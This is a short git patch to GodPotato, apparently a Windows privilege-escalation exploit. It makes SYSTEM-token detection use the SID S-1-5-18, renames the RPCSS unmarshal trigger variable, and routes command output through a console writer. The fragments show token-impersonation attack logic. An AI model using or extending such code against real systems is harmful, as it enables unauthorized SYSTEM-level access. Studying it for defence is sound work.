From d5efb3fa113d8a1a6212ffc4a8fdb438eea03419 Mon Sep 17 00:00:00 2001
From: beichen <43266206+BeichenDream@users.noreply.github.com>
Date: Fri, 21 Apr 2023 17:17:38 +0800
Subject: [PATCH] fix find system user error

---
 NativeAPI/GodPotatoContext.cs | 2 +-
 Program.cs                    | 6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/NativeAPI/GodPotatoContext.cs b/NativeAPI/GodPotatoContext.cs
index c3879bf..70751da 100644
--- a/NativeAPI/GodPotatoContext.cs
+++ b/NativeAPI/GodPotatoContext.cs
@@ -145,7 +145,7 @@ namespace GodPotato.NativeAPI
                             if (systemIdentity.ImpersonationLevel >= TokenImpersonationLevel.Impersonation)
                             {
                                 SharpToken.TokenuUils.ListProcessTokens(-1, processToken => {
-                                    if (processToken.UserName == "NT AUTHORITY\\SYSTEM" && processToken.ImpersonationLevel >= TokenImpersonationLevel.Impersonation && processToken.IntegrityLevel >= SharpToken.IntegrityLevel.SystemIntegrity)
+                                    if (processToken.SID == "S-1-5-18" && processToken.ImpersonationLevel >= TokenImpersonationLevel.Impersonation && processToken.IntegrityLevel >= SharpToken.IntegrityLevel.SystemIntegrity)
                                     {
                                         systemIdentity = new WindowsIdentity(processToken.TokenHandle);
                                         ConsoleWriter.WriteLine("[*] PID : {0} Token:0x{1:x}  User: {2} ImpersonationLevel: {3}", processToken.TargetProcessId, processToken.TargetProcessToken, processToken.UserName, processToken.ImpersonationLevel);
diff --git a/Program.cs b/Program.cs
index 772d1a7..aaeeda3 100644
--- a/Program.cs
+++ b/Program.cs
@@ -81,11 +81,11 @@ namespace GodPotato
                 ConsoleWriter.WriteLine("[*] Start PipeServer");
                 godPotatoContext.Start();
 
-                GodPotatoUnmarshalTrigger storageTrigger = new GodPotatoUnmarshalTrigger(godPotatoContext);
+                GodPotatoUnmarshalTrigger unmarshalTrigger = new GodPotatoUnmarshalTrigger(godPotatoContext);
                 try
                 {
                     ConsoleWriter.WriteLine("[*] Trigger RPCSS");
-                    int hr = storageTrigger.Trigger();
+                    int hr = unmarshalTrigger.Trigger();
                     ConsoleWriter.WriteLine("[*] UnmarshalObject: 0x{0:x}", hr);
                     
                 }
@@ -99,7 +99,7 @@ namespace GodPotato
                 if (systemIdentity != null)
                 {
                     ConsoleWriter.WriteLine("[*] CurrentUser: " + systemIdentity.Name);
-                    TokenuUils.createProcessReadOut(Console.Out, systemIdentity.Token, potatoArgs.cmd);
+                    TokenuUils.createProcessReadOut(ConsoleWriter, systemIdentity.Token, potatoArgs.cmd);
 
                 }
                 else